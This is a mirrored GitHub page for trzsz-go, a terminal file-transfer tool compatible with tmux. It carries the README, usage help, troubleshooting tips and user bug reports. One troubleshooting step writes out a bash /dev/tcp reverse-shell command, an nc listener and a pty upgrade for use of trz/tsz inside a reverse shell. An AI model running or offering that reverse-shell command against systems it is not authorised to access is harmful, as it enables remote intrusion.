Giter Site home page Giter Site logo

trzsz / trzsz-go Goto Github PK

View Code? Open in Web Editor NEW
863.0 7.0 53.0 378 KB

trzsz-go is the go version of trzsz, makes all terminals that support local shell to support trzsz ( trz / tsz ).

Home Page: https://trzsz.github.io/go

License: MIT License

Makefile 0.35% Go 97.80% Inno Setup 1.84%
tmux rz sz lrzsz trz tsz trzsz zmodem

trzsz-go's Introduction

trzsz ( trz / tsz ) - similar to ( rz / sz ) and compatible with tmux

MIT License PyPI trzsz WebSite 中文文档

trzsz ( trz / tsz ) is a simple file transfer tools, similar to lrzsz ( rz / sz ), and compatible with tmux.

How to use

  1. Install trzsz ( trz / tsz ) on the server. go, py and js versions are compatible with each other.

  2. Use supported terminal on local. Use trzsz-ssh ( tssh ) on local shell, or refer to Supported Terminals below.

  3. Use the trz ( similar to rz ) to upload files, and use the tsz ( similar to sz ) to download files.

Why to do

  • Considering laptop -> hostA -> hostB -> docker -> tmux, using scp or sftp is inconvenience.

  • In this case, lrzsz ( rz / sz ) is convenient to use, but unfortunately it's not compatible with tmux.

  • tmux is not going to support rz / sz ( 906, 1439 ), so trzsz ( trz / tsz ) was developed.

Advantage

  • Support tmux, including tmux normal mode, and tmux command mode integrated with iTerm2.
  • Support transfer directories, trz -d to upload directories, tsz -d xxx to download xxx directories.
  • Support breakpoint resume, trz -y or tsz -y xxx overwrite exiting files will auto resume from breakpoint.
  • Support Windows server, not only can run on Windows client, but also can run on Windows ssh server.
  • Support native terminal, does not require terminal to support, just use trzsz ssh x.x.x.x to login.
  • Support web terminal, transfer files and directories between local and remote servers over the web.
  • Support drag to upload, drag and drop files and directories to the terminal to upload to the remote server.
  • Support progress bar, shows the current transferring file name, progress, size, speed, remaining time, etc.
  • Better interactive experience, shows the transfer results or errors friendly, ctrl + c to stop gracefully.

Installation

On the server

  • Install the Go version ( ⭐ Recommended )

    Please check the Go version installation guide: https://trzsz.github.io/go

  • Or install with Python3

    sudo python3 -m pip install --upgrade trzsz
    
  • Or install with Python2

    sudo python2 -m pip install --upgrade trzsz
    
  • Or install with Homebrew

    brew update
    brew install trzsz
    
  • Or install with Node.js

    sudo npm install -g trzsz
    

  Can be installed without sudo, just add the installation path ( e.g. ~/.local/bin ) to the PATH environment.

Supported Terminals

  • trzsz-ssh ( tssh ) -- simple ssh client with trzsz support ( ⭐ Recommended ).

  • iTerm2 -- check the trzsz-iterm2 installation.

  • tabby -- install the tabby-trzsz plugin.

  • electerm -- upgrade to 1.19.0 or higher.

  • ttyd -- upgrade to 1.7.3 or higher, and start with -t enableTrzsz=true, use https unless localhost.

  • trzsz-go -- supports all terminals that support a local shell.

  • trzsz.js -- making webshell in browser and electron terminal supports trzsz.

  Does your terminal supports trzsz as well? Please let me know. I would love to have it on the list.

Trzsz Manual

trz upload files to the remote server

usage: trz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] [path]

Receive file(s), similar to rz and compatible with tmux.

positional arguments:
  path               path to save file(s). (default: current directory)

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)
  -y, --overwrite    yes, overwrite existing file(s)
  -b, --binary       binary transfer mode, faster for binary files
  -e, --escape       escape all known control characters
  -d, --directory    transfer directories and files
  -r, --recursive    transfer directories and files, same as -d
  -B N, --bufsize N  max buffer chunk size (1K<=N<=1G). (default: 10M)
  -t N, --timeout N  timeout ( N seconds ) for each buffer chunk.
                     N <= 0 means never timeout. (default: 20)

tsz download files from the remote server

usage: tsz [-h] [-v] [-q] [-y] [-b] [-e] [-d] [-B N] [-t N] file [file ...]

Send file(s), similar to sz and compatible with tmux.

positional arguments:
  file               file(s) to be sent

optional arguments:
  -h, --help         show this help message and exit
  -v, --version      show program's version number and exit
  -q, --quiet        quiet (hide progress bar)
  -y, --overwrite    yes, overwrite existing file(s)
  -b, --binary       binary transfer mode, faster for binary files
  -e, --escape       escape all known control characters
  -d, --directory    transfer directories and files
  -r, --recursive    transfer directories and files, same as -d
  -B N, --bufsize N  max buffer chunk size (1K<=N<=1G). (default: 10M)
  -t N, --timeout N  timeout ( N seconds ) for each buffer chunk.
                     N <= 0 means never timeout. (default: 20)

Trouble shooting

  • If tmux is running on the local computer.

    • Option 1: Use tmux -CC integration with iTerm2, please refer to iTerm2 tmux Integration.
    • Option 2: Install trzsz-go on the local computer, use trzsz ssh to login after tmux.
    • Option 3: Install trzsz-ssh on the local computer, use tssh to login after tmux.
  • If tmux is running on the jump server.

    • Option 1: Use tmux -CC integration with iTerm2, please refer to iTerm2 tmux Integration.
    • Option 2: Install trzsz-go on the jump server, use trzsz -r ssh to login after tmux.
    • Option 3: Install trzsz-ssh on the jump server, use tssh to login after tmux.
  • If an error occurs, and trzsz is hanging up.

    • Press control + c to stop trz or tsz process on the server.
    • For iTerm2 users, press command + option + shift + r to stop iTerm2 Coprocesses.
  • If trz -b binary upload fails, and login to server using telnet or docker exec.

    • Try to escape all known control characters, e.g., trz -eb.
  • If trz -b or tsz -b binary transfer fails, and login to server using expect.

    • Try to export LC_CTYPE=C before the expect script. e.g.:
      #!/bin/sh
      export LC_CTYPE=C
      expect -c '
        spawn ssh xxx
        expect "xxx: "
        send "xxx\n"
        interact
      '
      
  • If you want to upload and download using trz / tsz in a reverse shell, you need to follow these steps:

    • 1. Use tssh xxx or trzsz ssh xxx to log in to the server.
    • 2. Execute nc -lnv 1337 on the server, and wait for the reverse shell connection.
    • 3. Reverse connect to the server on the target, such as bash -i >& /dev/tcp/192.168.0.1/1337 0>&1.
    • 4. Follow these steps in the reverse shell:
      • 4.1. Convert to an interactive shell, such as python3 -c 'import pty; pty.spawn("/bin/bash")'.
      • 4.2. Press ctrl + z to turn the reverse shell into background.
      • 4.3. Execute stty raw -echo; fg to disable the echo of the server, and return to the reverse shell.
      • 4.4. Press the Enter key, and the command line prompt will be displayed.
      • 4.5. Set the terminal environment variable export TERM=xterm-256color ( not necessary ).
      • 4.6. Check if there is a TMUX environment variable, clear it with unset TMUX.
      • 4.7. Now you can use trz / tsz to upload and download as normal.
    • 5. After exiting the interactive shell, there will be no echo, type exit blindly to exit the reverse shell.
    • 6. Type reset blindly on the server and press Enter to reset the default settings of the terminal.

Screenshot

Using trzsz in iTerm2 with text progress bar

using trzsz in iTerm2 with text progress bar

Using trzsz in iTerm2 with zenity progress bar

using trzsz in iTerm2 with zenity progress bar

Using trzsz in tabby with tabby-trzsz plugin

using trzsz in tabby with tabby-trzsz plugin

Contact

Feel free to email the author [email protected], or create an issue. Welcome to join the QQ group: 318578930.

Sponsor

❤️ Sponsor trzsz ❤️, buy the author a drink 🍺 ? Thank you for your support!

trzsz-go's People

Contributors

amo996 avatar jayyoung2021 avatar lonnywong avatar ragazenta avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

trzsz-go's Issues

windows scoop 找不到这个软件

❯ scoop bucket add extras
WARN The 'extras' bucket already exists. To add this bucket again, first remove it by running 'scoop bucket rm extras'.

~
❯ scoop install trzsz
Couldn't find manifest for 'trzsz'.

can not start ssh under windows

OS: Windows 11

got this error:

C:\Users\xxx>trzsz ssh user@xxx
Failed to create console process: The system cannot find the file specified.

C:\Users\xxx>ssh -V
OpenSSH_for_Windows_8.6p1, LibreSSL 3.4.3

不借助tmux无法拖拽文件上传

本地操作系统:Arch Linux (KDE Plasma)
远程操作系统:Debian (Proxmox VE)
本地终端:Konsole
本地SHELL:zsh
远端SHELL:zsh

本地和远端均已安装trzsz-go,使用命令如下图,本地和远端均未使用tmux,使用trztsz可以正常实现文件上传下载,但拖拽本地文件后,直接显示文件的绝对路径,无法实现拖拽上传。其中路径带空格的文件,终端会自动添加引号,这个没有问题。

image

安装问题

如果不用apt install安装, 在Ubuntu上使用源码编译安装,如何操作?

请教

我是mac下用zssh, 发现rz非常的慢不知道为啥, 转到了trzsz-go,这个在终端下体验非常好, linux也是。
我看到你有说只要经过了windows trz就非常慢,我想请教下为啥,理论上不是亲缘进程的文件描述符传递数据么, 为啥windod就非常慢。mac的zssh我也没搞懂为啥sz很快, rz很慢

Not working on Synology NAS DS220+

NAS info:

Local machine info:

  • CPU: Intel 10900K
  • OS: Ubuntu 20.04 LTS
  • Terminal app: Terminator
  • Shell: zsh

Steps to reproduce:

  • download zip from release, copy the bin files to ~/bin/ dir on both local machine and nas.
  • ensure trz|tsz|trzsz are in $PATH and available via which on both sides
  • on local machine, in terminal, run trzsz -d ssh nas
  • on local machine, open file explorer, drag a file to terminal
  • nothing happens

Maybe it will he helpful to provide a debug option.

调试问题

dlv 运行trz, 输出::TRZSZ:TRANSFER:R:0.1.5:3610954265561之后, 就无法再下运行了, 除非Ctrl+c;
由于trz要运行在trzsz中, 有什么好的办法调试trz吗?
图片

上传后可执行文件执行权限没了

是否可以支持一下上传后的文件权限问题?目前遇到的上传的文件执行权限会丢失,每次都要手动再给权限,极大不便。如果担心安全性之类的问题,可以考虑加个参数?

Windows terminal 不支持

root~# which trzsz
/usr/bin/trzsz
root~# which trzsz-iterm2
/usr/bin/which: no trzsz-iterm2 in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin)
root~# trz
::TRZSZ:TRANSFER:R:1.1.7:1653262608500:36693
#fail:eJzyzCtJLSoqLShJTQEEAAD//xsTBJc=
Interrupted
root~# tsz test.txt
::TRZSZ:TRANSFER:S:1.1.7:1653293314900:43532

既不能上传弹出选择窗口,也不能下载

image

传输的一些建议

1.用户中断传输是否需要删除远程已传输的部分
2.可以选择是否使用断点续传功能,一些压缩文件重新写入不知道会不会有结构破坏,能做出来对一些超大文件传输很友好
3.低带宽情况下,文件较小的是否可以自动打包压缩,传输完成后自动解压,省去人工操作,比如log,随随便便100m,但是压缩后只有7m左右

fedroa 38 下无法正常使用

fedora 33 升级到38后,gnome-shell 版本变成了GNOME Shell 44.1 , 桌面环境已切换为X11trzsz-go目前下载的是最新版本。

目前已测试,通过tabby构建的通道传输是正常的,也无报错,直接通过gnome-shell 连接后(trzsz bash 或者 trzsz ssh xxx) ,服务器执行报告以下错误,无法拉起本地资源管理器(tabby可以):

Traceback (most recent call last):
  File "/usr/local/lib/python3.6/site-packages/trzsz/svr/send.py", line 73, in main
    action = recv_action()
  File "/usr/local/lib/python3.6/site-packages/trzsz/libs/utils.py", line 318, in recv_action
    return recv_json('ACT')
  File "/usr/local/lib/python3.6/site-packages/trzsz/libs/utils.py", line 307, in recv_json
    dic = recv_string(typ, may_has_junk)
  File "/usr/local/lib/python3.6/site-packages/trzsz/libs/utils.py", line 233, in recv_string
    return decode_buffer(recv_check(typ, may_has_junk)).decode('utf8')
  File "/usr/local/lib/python3.6/site-packages/trzsz/libs/utils.py", line 213, in recv_check
    raise TrzszError(buf, typ)
trzsz.libs.utils.TrzszError: exit status 255: 此选项不可用。请参看 --help 了解所有能用的用法。
  • `local

    • trzsz go 1.1.0
    • trz (trzsz) py 1.1.2
    • tsz (trzsz) py 1.1.2
  • server

    • trz (trzsz) py 1.1.2
    • tsz (trzsz) py 1.1.2

然后服务器的trzsz是通过 pip3安装的,实际测试了用trzsz-go里面的也一样报错

从远程win下载文件报错

tsz .\Whore.flac
illegal base64 data at input byte 9355
goroutine 1 [running]:
runtime/debug.Stack()
        /opt/hostedtoolcache/go/1.18.3/x64/src/runtime/debug/stack.go:24 +0x65
github.com/trzsz/trzsz-go/trzsz.NewTrzszError({0xc0000160f0, 0x44}, {0xc0004fc05c, 0x4}, 0x1)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/comm.go:171 +0x272
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).recvCheck(0x2450?, {0x1e310c, 0x4}, 0x49?, 0xc000057ad0?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:197 +0x16a
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).recvInteger(0xc000057c40?, {0x1e310c?, 0x2000?}, 0x0?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:208 +0x25
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).checkInteger(0xc000057c40?, 0x2000)       [History]
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:216 +0x30
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).sendFiles(0xc00004c120, {0xc0000060b0, 0x1, 0x0?}, {0x0?, 0x0?})
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:584 +0x8a6
github.com/trzsz/trzsz-go/trzsz.sendFiles(0xc00004c120?, {0xc0000060b0, 0x1, 0x1}, 0xc000124c30, 0x21675d20108?, 0x60?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/tsz.go:88 +0x19f
github.com/trzsz/trzsz-go/trzsz.TszMain()
        /home/runner/work/trzsz-go/trzsz-go/trzsz/tsz.go:167 +0x7f6
main.main()
        /home/runner/work/trzsz-go/trzsz-go/cmd/tsz/main.go:33 +0x19

这个文件有30M,试过小文件正常
本地和远程都是win11,PowerShell 7.2.5,安装的时go版的trzsz
另外我ssh是登录远程win11的PowerShell 7.2.5

使用trz上传文件速度很慢

image
image
image

trzsz go 0.1.9,系统是windows11 22h2 10.0.22622.598,使用cmd或者powershell 都会出现trz速度极慢的问题,相同主机及文件,tsz速度正常,rz的速度也是正常的

Is armhf supported?

Hi, I see no armhf build in the Releases page, is that architecture supported?

Thanks.

bug终端自动卡死

登录服务器后 服务器自动断开连接或者电脑断网这个终端ssh不会退出,就hang死在那除非重启这个终端。

使用过 tsz 或 trz 后,再用vi编辑文件,会导致再弹出一次接收

环境是 windows 10 terminal,远程是 ubuntu 20.04

tsz xx 接受后
vi xx :q退出就会弹出接收文件,
如果取消,终端会输出一串 #ACT 开头的base64类似的字符
如果接受,文件会正常接收,产生一个.1结尾的新文件,且终端卡住,ctrl+c后,终端输出 #fail开头的base64类似的字符
微信截图_20220808200300

windows git-bash 下服务器切换用户后 trzsz 报错

trzsz 版本: go 1.1.7

客户端 (win11):

  • git-bash: 2.43.0 (x86_64-pc-msys)
  • zsh: 5.9 (x86_64-pc-msys)
  • ssh: OpenSSH_9.6p1, OpenSSL 3.2.0 23 Nov 2023

服务器(ubuntu 22.04):

  • tmux: 3.2a

使用 zsh 执行: trzsz ssh [email protected],连上服务器后在 tmux 内,code 用户可以正常 trz/sz,但切换到 root 用户在 tmux 下 trzsz 会报错。

完整 log:

# code @ vanarana in /tmp [10:52:09]
$ sudo su

# root @ vanarana in /tmp [10:52:11]
$ trz
::TRZSZ:TRANSFER:R:1.1.7:0917513596100:43575
[TrzszError] CFG: eJyqVkoqTSvOrEpVsjI0MLEwNTcz0FHKScxLV7JSSs9X0lEqKMovyU/Oz1GyMt
FRKsnMTc0vLVGyMjKoBQQAAP//CEYR1w==
goroutine 88 [running]:
runtime/debug.Stack()
        /opt/hostedtoolcache/go/1.20.12/x64/src/runtime/debug/stack.go:24 +0x65
github.com/trzsz/trzsz-go/trzsz.newTrzszError({0xc00052c120, 0x60}, {0xc00001009
8, 0x3}, 0x1)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/comm.go:239 +0x272
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).recvCheckV2(0xc000408000, {0x11
6e994, 0x4})
        /home/runner/work/trzsz-go/trzsz-go/trzsz/pipeline.go:389 +0x475
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).pipelineRecvFinalAck(0xc000415f
68?, 0xc0004ba000, 0x341, 0xc0003d0380)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/pipeline.go:623 +0x7f
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).pipelineRecvAck.func1()
        /home/runner/work/trzsz-go/trzsz-go/trzsz/pipeline.go:774 +0x5e5
created by github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).pipelineRecvAck
        /home/runner/work/trzsz-go/trzsz-go/trzsz/pipeline.go:711 +0xe8

goroutine 1 [running]:
runtime/debug.Stack()
        /opt/hostedtoolcache/go/1.20.12/x64/src/runtime/debug/stack.go:24 +0x65
github.com/trzsz/trzsz-go/trzsz.newTrzszError({0xc0003b8000, 0x258}, {0xc0000180
f0, 0x4}, 0x1)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/comm.go:239 +0x272
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).recvCheck(0x1?, {0x5ddd2e, 0x3}
, 0x50?, 0xc00005a480?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:438 +0x152
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).recvBinary(0xc0000825a0?, {0x5d
dd2e?, 0x0?}, 0x30?, 0xc00007da40?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:499 +0x1e
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).recvFileMD5(0xc000122000, {0xc0
00018190, 0x10, 0x10}, {0x0, 0x0})
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:1172 +0x76
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).recvFiles(0xc000122000, {0xc000
0927e6, 0x4}, {0x0, 0x0})
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:1233 +0x3af
github.com/trzsz/trzsz-go/trzsz.recvFiles(0xc000122000?, 0xc000090b10, 0xc000096
000?, 0x92800?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/trz.go:95 +0x26f
github.com/trzsz/trzsz-go/trzsz.TrzMain()
        /home/runner/work/trzsz-go/trzsz-go/trzsz/trz.go:190 +0xa75
main.main()
        /home/runner/work/trzsz-go/trzsz-go/cmd/trz/main.go:33 +0x19


# root @ vanarana in /tmp [10:52:23]
$ tsz tsz_test
::TRZSZ:TRANSFER:S:1.1.7:0917531862000:33235
#CFG:eJyqVkoqTSvOrEpVsjI0MLEwNTcz0FHKScxLV7JSSs9X0lEqKMovyU/Oz1GyMtFRKsnMTc0vLVG
yMjKoBQQAAP//CEYR1w==!
                      #NUM:1!
                             #NAME:eJyqVipILMmIz0xRsjLQgbDzEnNTlayilUqKq+JLUotLl
GJ1lDKL41Myi5Ss0hJzilN1lBKLkjMyy1Lh/OLMqlQlK1MdpYLUolwlKxNjs1pAAAAA//9XRh2u!
[TrzszError] CFG: eJyqVkoqTSvOrEpVsjI0MLEwNTcz0FHKScxLV7JSSs9X0lEqKMovyU/Oz1GyMt
FRKsnMTc0vLVGyMjKoBQQAAP//CEYR1w==
goroutine 261 [running]:
runtime/debug.Stack()
        /opt/hostedtoolcache/go/1.20.12/x64/src/runtime/debug/stack.go:24 +0x65
github.com/trzsz/trzsz-go/trzsz.newTrzszError({0xc00052c1e0, 0x60}, {0xc0001dc26
c, 0x3}, 0x1)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/comm.go:239 +0x272
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).recvCheck(0x1?, {0x116e974, 0x4
}, 0xa0?, 0xc000206480?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:438 +0x158
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).recvString(0x6?, {0x116e974?, 0
x3?}, 0x0?, 0x6?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:472 +0x1e
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).recvFileNameV3(0xc0001bc000, {0
xc0001f0238, 0x3}, {0x11d81a8, 0xc00007aa00})
        /home/runner/work/trzsz-go/trzsz-go/trzsz/append.go:326 +0x8e
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).recvFiles(0xc0001bc000, {0xc000
1f0238, 0x3}, {0x11d81a8, 0xc00007aa00})
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:1200 +0x15d
github.com/trzsz/trzsz-go/trzsz.(*TrzszFilter).downloadFiles(0xc0000000c0, 0x1?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/filter.go:354 +0x189
github.com/trzsz/trzsz-go/trzsz.(*TrzszFilter).handleTrzsz(0xc0000000c0)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/filter.go:424 +0x305
created by github.com/trzsz/trzsz-go/trzsz.(*TrzszFilter).wrapOutput
        /home/runner/work/trzsz-go/trzsz-go/trzsz/filter.go:699 +0x85f

goroutine 1 [running]:
runtime/debug.Stack()
        /opt/hostedtoolcache/go/1.20.12/x64/src/runtime/debug/stack.go:24 +0x65
github.com/trzsz/trzsz-go/trzsz.newTrzszError({0xc0001f8300, 0x2d8}, {0xc0000190
fc, 0x4}, 0x1)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/comm.go:239 +0x272
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).recvCheck(0x1?, {0x5e84a4, 0x4}
, 0x50?, 0xc00005a480?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:438 +0x152
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).recvString(0x281d1fd03513e?, {0
x5e84a4?, 0x4?}, 0xe0?, 0xc0001ddb48?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:472 +0x1e
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).sendFileNameV3(0xc000002180, 0x
c00013fab0, {0x0, 0x0})
        /home/runner/work/trzsz-go/trzsz-go/trzsz/append.go:218 +0xad
github.com/trzsz/trzsz-go/trzsz.(*trzszTransfer).sendFiles(0xc000002180, {0xc000
0120f8?, 0x1?, 0x0?}, {0x0, 0x0})
        /home/runner/work/trzsz-go/trzsz-go/trzsz/transfer.go:918 +0x1cd
github.com/trzsz/trzsz-go/trzsz.sendFiles(0xc000002180?, {0xc0000120f8, 0x1, 0x1
}, 0xc000074480, 0x81d3?, 0x17?)
        /home/runner/work/trzsz-go/trzsz-go/trzsz/tsz.go:94 +0xed
github.com/trzsz/trzsz-go/trzsz.TszMain()
        /home/runner/work/trzsz-go/trzsz-go/trzsz/tsz.go:186 +0x9ea
main.main()
        /home/runner/work/trzsz-go/trzsz-go/cmd/tsz/main.go:33 +0x19

on func (r *TrzszRelay) wrapInput() if err == io.EOF Never quit when running on Windows, even if io. Pipe has been shut down. Is this a bug or not

func (r *TrzszRelay) wrapInput() {
	defer close(r.osStdinChan)
	for {
		buffer := make([]byte, 32*1024)
		n, err := r.clientIn.Read(buffer)
		if n > 0 {
			buf := buffer[:n]
			if r.logger != nil {
				r.logger.writeTraceLog(buf, "stdin")
			}

			status := r.relayStatus.Load()
			if status == kRelayHandshaking {
				var ok bool
				status, ok = r.addHandshakeBuffer(r.stdinBuffer, buf, false)
				if ok {
					continue
				}
			}

			r.osStdinChan <- buf

			if status == kRelayTransferring {
				if len(buf) == 1 && buf[0] == '\x03' { // `ctrl + c` to stop
					r.resetToStandby(kRelayTransferring)
				} else if bytes.Contains(buf, []byte("#EXIT:")) { // transfer exit
					r.resetToStandby(kRelayTransferring)
				} else if bytes.Contains(buf, []byte("#FAIL:")) || bytes.Contains(buf, []byte("#fail:")) { // transfer error
					r.resetToStandby(kRelayTransferring)
				}
			}
		}
		if err == io.EOF {
			if isRunningOnWindows() {
				r.osStdinChan <- []byte{0x1A} // ctrl + z
				continue
			}
			break
		}
	}
}

if err == io.EOF
Never quit when running on Windows, even if io. Pipe has been shut down. Is this a bug or not

Zmodem有点疑惑

一般都是服务器上安装lrzsz,客户端适配协议,但是文档说需要在客户端( 本地电脑 )上安装 lrzsz,就很奇怪。
虽然rzsz传输有些功能无法和trzsz兼容,能否以trzsz的实现的功能为接口层,lrzsz适配trzsz,功能没有的直接忽略,这样是不是合理一点,这样服务器不用安装trzsz,客户端装一个trzsz。

xshell 7 不弹出窗口

xshell 7 软件,登录rocky 8.5系统,yum安装trzsz,使用trz不会弹出窗口,拖拽文件也不行。

Crash on Termux (aarch64)

On Termux from Android with an ARM 64 phone, the program instantly crash.

Steps to reproduce:

  1. wget "trzsz_1.1.5_linux_aarch64.tar.gz"
  2. tar zxvf trzsz_1.1.5_linux_aarch64.tar.gz
  3. Run: ./trzsz-go ssh remotemachine
  4. Crash
  5. Be sad :(

Any suggestions? Let me know if a dump of the output may help

distrobox管理下的archlinux容器内,无法使用trzsz

本地环境

os:deepin20.8(加入内测)
kernel:6.1.12
DE:dde v20
terminal:deepin terminal + fish shell
tmux:3.3a
tmux 配置方案:https://github.com/gpakosz/.tmux
安装方式:github-release下编译好的trzsz-go的可执行文件,已经配置在本地和远程的 /usr/local/bin

总体情况说明

我使用的本地环境比较复杂(远程服务器是普通的linux服务器),在常规的linux 桌面发行版下,安装distrobox和podman容器管理工具,而tmux和trzsz-go都是安装在distrobox和podman 管理下的archlinux容器里(rootless模式)具体使用场景如下:

远程:

远程服务器是普通的linux服务器

本地:

本地在deepin v20.8 linux桌面发行版上,先后配置安装:podman(rootless模式);distrobox(一款将其他linux发行版以容器的方式和宿主机整合在一起的工具);pull 并启动 archlinux容器; 在容器里配置tmux/fish/trzsz-go等环境

# 启动 archlinux容器
distrobox create -i archlinux:latest -n arch-v1 -H /home/pmz/arch-v1 --additional-flags "--pids-limit -1" -v
# 进入容器,并在容器里配置tmux/fish/trzsz-go等环境
distrobox-enter  -n arch-dev -v
# 在容器里启动tmux并使用trzsz-go ssh远程服务器(前提:已将github-release下编译好的trzsz-go的可执行文件,已经配置在本地和远程的 `/usr/local/bin` 下)
trzsz ssh root@n110
# 试图上传文件,此时终端报错
trz 

终端截图

image

跟踪日志已通过邮件发送到[email protected]

之前的issue也是我提的#16 ,在最后的时候也提到了这个问题,供参考

期望目标

之前本地和远程都是在普通的linux 环境下使用,完全没问题,一直再用后来,发现了distrobox神器,经过一段时间的使用,发现完全满足我的需求,结合deepin桌面和archlinux的软件生态的双方优点,一起使用取长补短。但是很可惜不能结合trzsz-go处理文件传输,目前只能用scp凑活用,希望大佬有时间排查一下,有需要补充的日志/信息什么的我再提交

Windows Terminal拖拽文件失败

安装方法:winget install trzsz
连接命令:trzsz --dragfile ssh xxx.xxx.xxx.xxx
登录到远程服务器后拖拽文件到Windows Terminal内,鼠标显示“粘贴文件路径”时松手,提示如下
屏幕截图 2023-10-16 144717

1.1.1 一个不知道怎么描述的bug

  • 本地trzsz版本:trzsz-go 1.1.1,直接从AUR安装
  • 本地系统:archlinux
  • 本地终端:Konsole
  • 本地SHELL:zsh搭配ohmyzsh
  • 远端trzsz版本:trzsz-go 1.1.1
  • 远端系统:debian 11
  • 远端SHELL:zsh搭配ohmyzsh

使用以下命令远程ssh:

trzsz -t -d ssh nas

在远程机器上运行啥命令都会报错:

build_prompt:1: scalar parameter RETVAL created globally in function build_prompt

详见下面两图,似乎无法识别终端窗口大小:

Screenshot_20230528_195705

Screenshot_20230528_195743

日志见下:

[svrout]eJySjjbMlY42z1WVjjYyz4XwDHIVqAt4FXilY42sU8sy81IdCspSrerYpWMNrevYAQEAAP//cP8WkA==
[svrout]eJySjjW3TsvMSbXS1y8oS9XPyM9N1U8ty8xLZQcEAAD//2+tCJM=
[svrout]eJySjjZ0lI42N3JWiDbQMzAojuXlAgQAAP//KqoEKw==
[svrout]eJzilY42yJWONjIHESa50tFe0tHGlrkQURMQwwTEMrbMVUgty8xLdSgoS1WQjjYBKTU2yH3XtAFMK9QpQJUbm0AFLXMVpKO9paPtDTOkbaWj7Y0MDEwyAAEAAP//zvUfyA==
[stdin]eJxKBQQAAP//AGYAZg==
[svrout]eJxKKs3MSYkvKMrPLSixMrRSKE5OzEksUihILErMTS1JLVIIcg0Jc/RRSC5KTSxJTVFIz8lPSszJqVTIzFNIK81LLsnMz1NANoSXCxAAAP//Aj0eTw==
[svrout]eJzi5ZWONsiVjjYyBxEmudLRXtLRxpa5EFETEMMExDK2zFVILcvMS3UoKEtVkI42ASk1Nsh917QBTCvUKUCVG5tABUE6AAEAAP//2G8b8A==
[svrout]eJzikI42zJWONjbMTZWONgCxLHMBAQAA//8yUwUr
[svrout]eJzikI42zJWONjbMTZWONgCxLHOloy0NcpMz8hV0UxXUbVz9HJ18XONDgqKCo+JDghydXeN9/N1jKoxd1aGqjc1cAAEAAP//tB8TjQ==
[stdin]eJyqBwQAAP//AIAAgA==
[svrout]eJzikI42yJWONrbMVRjGpLkLIAAA//8gXTdL
[stdin]eJzKAQQAAP//AG0AbQ==
[svrout]eJySjjY2ys2Rjja2zAUEAAD//xELAwQ=
[svrout]eJzikI42NsrNkY42tsyVjrY0gDI5AAEAAP//SjEGGw==
[stdin]eJwqBgQAAP//AHQAdA==
[svrout]eJzikI42NsrNAZPF0tHGlrnS0ZYGuSkKurplqUXFmfl5UEFDQxdAAAAA//8NPQxi
[stdin]eJziBQQAAP//AA4ADg==
[svrout]eJySjja2zFWgjDQ0dJGOtjfMkbaTjrY3MjAwyeHl5ZKONbLOKVbQ1U3Oz8kvsi0pqWSXjjW0zilmBwQAAP//OFscZA==
